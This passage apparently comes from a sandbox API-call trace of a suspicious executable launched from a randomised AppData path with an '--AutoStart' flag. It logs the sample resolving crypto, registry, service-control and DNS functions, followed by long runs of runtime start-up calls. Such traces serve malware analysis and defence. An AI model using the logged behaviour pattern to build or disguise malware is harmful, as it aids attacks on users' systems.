lpProcName="DispatchMessageW") returned 0x7537787b [0094.385] GetProcAddress (hModule=0x75360000, lpProcName="PostQuitMessage") returned 0x75379abb [0094.385] GetProcAddress (hModule=0x75360000, lpProcName="DestroyWindow") returned 0x75379a55 [0094.385] GetProcAddress (hModule=0x75360000, lpProcName="SendMessageW") returned 0x75379679 [0094.385] GetProcAddress (hModule=0x75360000, lpProcName="GetMessageW") returned 0x753778e2 [0094.385] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d90000 [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="CryptGetHashParam") returned 0x74d9df7e [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="CryptAcquireContextW") returned 0x74d9df14 [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="OpenSCManagerW") returned 0x74d9ca64 [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="OpenServiceW") returned 0x74d9ca4c [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="CryptReleaseContext") returned 0x74d9e124 [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="GetUserNameW") returned 0x74da157a [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="CryptHashData") returned 0x74d9df36 [0094.385] GetProcAddress (hModule=0x74d90000, lpProcName="RegSetValueExW") returned 0x74da14d6 [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="RegCloseKey") returned 0x74da469d [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="CryptDestroyHash") returned 0x74d9df66 [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="ControlService") returned 0x74db7144 [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="RegOpenKeyExW") returned 0x74da468d [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="CryptCreateHash") returned 0x74d9df4e [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="CryptEncrypt") returned 0x74db779b [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="CryptImportKey") returned 0x74d9c532 [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="QueryServiceStatus") returned 0x74da2a86 [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="RegQueryValueExW") returned 0x74da46ad [0094.386] GetProcAddress (hModule=0x74d90000, lpProcName="CloseServiceHandle") returned 0x74da369c [0094.386] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75b00000 [0094.389] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetPathFromIDListW") returned 0x75b917bf [0094.389] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetSpecialFolderLocation") returned 0x75b8e141 [0094.389] GetProcAddress (hModule=0x75b00000, lpProcName="CommandLineToArgvW") returned 0x75b19ee8 [0094.390] GetProcAddress (hModule=0x75b00000, lpProcName="ShellExecuteA") returned 0x75d47078 [0094.390] GetProcAddress (hModule=0x75b00000, lpProcName="ShellExecuteExW") returned 0x75b21e46 [0094.390] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x74f00000 [0094.390] GetProcAddress (hModule=0x74f00000, lpProcName="CoInitialize") returned 0x74f1b636 [0094.390] GetProcAddress (hModule=0x74f00000, lpProcName="CoInitializeSecurity") returned 0x74f27259 [0094.390] GetProcAddress (hModule=0x74f00000, lpProcName="CoUninitialize") returned 0x74f486d3 [0094.390] GetProcAddress (hModule=0x74f00000, lpProcName="CoCreateInstance") returned 0x74f49d0b [0094.390] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75920000 [0094.390] GetProcAddress (hModule=0x75920000, lpProcName=0xca) returned 0x7592fd6b [0094.390] GetProcAddress (hModule=0x75920000, lpProcName=0x2) returned 0x75924642 [0094.390] GetProcAddress (hModule=0x75920000, lpProcName=0x9) returned 0x75923eae [0094.390] GetProcAddress (hModule=0x75920000, lpProcName=0x8) returned 0x75923ed5 [0094.390] GetProcAddress (hModule=0x75920000, lpProcName=0x6) returned 0x75923e59 [0094.391] GetProcAddress (hModule=0x75920000, lpProcName=0xc8) returned 0x75923f21 [0094.391] GetProcAddress (hModule=0x75920000, lpProcName=0xc) returned 0x75925dee [0094.391] GetProcAddress (hModule=0x75920000, lpProcName=0xc9) returned 0x75924af8 [0094.391] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74ca0000 [0095.080] GetProcAddress (hModule=0x74ca0000, lpProcName="GetAdaptersInfo") returned 0x74ca9263 [0095.080] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x76c60000 [0095.107] GetProcAddress (hModule=0x76c60000, lpProcName=0xc) returned 0x76c6b131 [0095.107] GetProcAddress (hModule=0x76c60000, lpProcName=0xb) returned 0x76c6311b [0095.107] GetProcAddress (hModule=0x76c60000, lpProcName=0x34) returned 0x76c77673 [0095.107] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74c40000 [0095.335] GetProcAddress (hModule=0x74c40000, lpProcName="DnsQuery_W") returned 0x74c5572c [0095.335] GetProcAddress (hModule=0x74c40000, lpProcName="DnsFree") returned 0x74c4436b [0095.335] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x767e0000 [0095.335] GetProcAddress (hModule=0x767e0000, lpProcName="CryptStringToBinaryA") returned 0x76815d77 [0095.335] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74b80000 [0096.201] GetProcAddress (hModule=0x74b80000, lpProcName="atexit") returned 0x74b9c544 [0096.201] atexit (param_1=0x6ba1ae) returned 0 [0096.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d654 | out: lpSystemTimeAsFileTime=0x18d654*(dwLowDateTime=0xcbc65c40, dwHighDateTime=0x1d53993)) [0096.201] GetCurrentThreadId () returned 0x548 [0096.201] GetCurrentProcessId () returned 0x544 [0096.201] QueryPerformanceCounter (in: lpPerformanceCount=0x18d64c | out: lpPerformanceCount=0x18d64c*=6565956408) returned 1 [0096.201] GetStartupInfoW (in: lpStartupInfo=0x18d5e4 | out: lpStartupInfo=0x18d5e4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76993519, hStdOutput=0x771dfd35, hStdError=0x77247daf)) [0096.201] GetProcessHeap () returned 0x660000 [0096.202] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76980000 [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="FlsAlloc") returned 0x76994f2b [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="FlsFree") returned 0x7699359f [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="FlsGetValue") returned 0x76991252 [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="FlsSetValue") returned 0x76994208 [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="InitializeCriticalSectionEx") returned 0x76994d28 [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="CreateEventExW") returned 0x76a1410b [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="CreateSemaphoreExW") returned 0x76a14195 [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="SetThreadStackGuarantee") returned 0x7699d31f [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="CreateThreadpoolTimer") returned 0x769aee7e [0096.202] GetProcAddress (hModule=0x76980000, lpProcName="SetThreadpoolTimer") returned 0x7720441c [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7722c50e [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="CloseThreadpoolTimer") returned 0x7722c381 [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="CreateThreadpoolWait") returned 0x769af088 [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="SetThreadpoolWait") returned 0x772105d7 [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="CloseThreadpoolWait") returned 0x7722ca24 [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="FlushProcessWriteBuffers") returned 0x771e0b8c [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7729fde8 [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="GetCurrentProcessorNumber") returned 0x77231e1d [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="GetLogicalProcessorInformation") returned 0x76a14761 [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="CreateSymbolicLinkW") returned 0x76a0cd11 [0096.203] GetProcAddress (hModule=0x76980000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="EnumSystemLocalesEx") returned 0x76a1424f [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="CompareStringEx") returned 0x76a146b1 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="GetDateFormatEx") returned 0x76a26676 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="GetLocaleInfoEx") returned 0x76a14751 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="GetTimeFormatEx") returned 0x76a265f1 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="GetUserDefaultLocaleName") returned 0x76a147c1 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="IsValidLocaleName") returned 0x76a147e1 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="LCMapStringEx") returned 0x76a147f1 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="GetCurrentPackageId") returned 0x0 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="GetTickCount64") returned 0x769aeee0 [0096.204] GetProcAddress (hModule=0x76980000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0096.205] GetProcAddress (hModule=0x76980000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0096.205] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3bc) returned 0x70c138 [0096.205] GetCurrentThreadId () returned 0x548 [0096.205] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x670b90 [0096.205] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x800) returned 0x70c500 [0096.205] GetStartupInfoW (in: lpStartupInfo=0x18d5b4 | out: lpStartupInfo=0x18d5b4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x4d4feea2, hStdError=0x0)) [0096.205] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0096.205] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0096.205] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0096.205] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart" [0096.205] GetEnvironmentStringsW () returned 0x70cd08* [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb02) returned 0x70d818 [0096.206] FreeEnvironmentStringsW (penv=0x70cd08) returned 1 [0096.206] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x95 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x150) returned 0x70cd08 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x9c) returned 0x70ce60 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3e) returned 0x702448 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x6c) returned 0x70cf08 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x6e) returned 0x70cf80 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x78) returned 0x6ff710 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x62) returned 0x70cff8 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2e) returned 0x707d88 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x48) returned 0x703948 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x28) returned 0x707780 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1a) returned 0x70bef0 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x4a) returned 0x70d068 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x72) returned 0x6ff790 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x30) returned 0x707dc0 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2e) returned 0x707df8 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1c) returned 0x70bf18 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xd2) returned 0x70d0c0 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x7c) returned 0x70d1a0 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x36) returned 0x70d228 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3a) returned 0x702490 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x90) returned 0x70d268 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x24) returned 0x7077b0 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x30) returned 0x707e30 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x36) returned 0x70d300 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x48) returned 0x703998 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x52) returned 0x70d340 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3c) returned 0x7024d8 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x82) returned 0x70d3a0 [0096.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2e) returned 0x707e68 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x28) returned 0x7077e0 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1e) returned 0x70bf40 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2c) returned 0x707ea0 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x54) returned 0x70d430 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x52) returned 0x70d490 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2a) returned 0x707ed8 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3c) returned 0x702520 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x54) returned 0x70d4f0 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x24) returned 0x707810 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x30) returned 0x707f10 [0096.207] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x8c) returned 0x70d550 [0096.207] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x70d818 | out: hHeap=0x660000) returned 1 [0096.208] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x80) returned 0x70d5e8 [0096.208] GetLastError () returned 0x0 [0096.208] SetLastError (dwErrCode=0x0) [0096.208] GetLastError () returned 0x0 [0096.208] SetLastError (dwErrCode=0x0) [0096.208] GetLastError () returned 0x0 [0096.208] SetLastError (dwErrCode=0x0) [0096.208] GetACP () returned 0x4e4 [0096.208] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x220) returned 0x70d670 [0096.208] GetLastError () returned 0x0 [0096.208] SetLastError (dwErrCode=0x0) [0096.208] IsValidCodePage (CodePage=0x4e4) returned 1 [0096.208] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d5a8 | out: lpCPInfo=0x18d5a8) returned 1 [0096.208] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d070 | out: lpCPInfo=0x18d070) returned 1 [0096.208] GetLastError () returned 0x0 [0096.208] SetLastError (dwErrCode=0x0) [0096.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0096.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cde8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0096.208] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18d084 | out: lpCharType=0x18d084) returned 1 [0096.208] GetLastError () returned 0x0 [0096.208] SetLastError (dwErrCode=0x0) [0096.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0096.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cdb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0096.209] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0096.209] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18cba8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0096.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d384, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x32\xed\x4f\x4d\xc0\xd5\x18", lpUsedDefaultChar=0x0) returned 256 [0096.209] GetLastError () returned 0x0 [0096.209] SetLastError (dwErrCode=0x0) [0096.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0096.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cdd8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 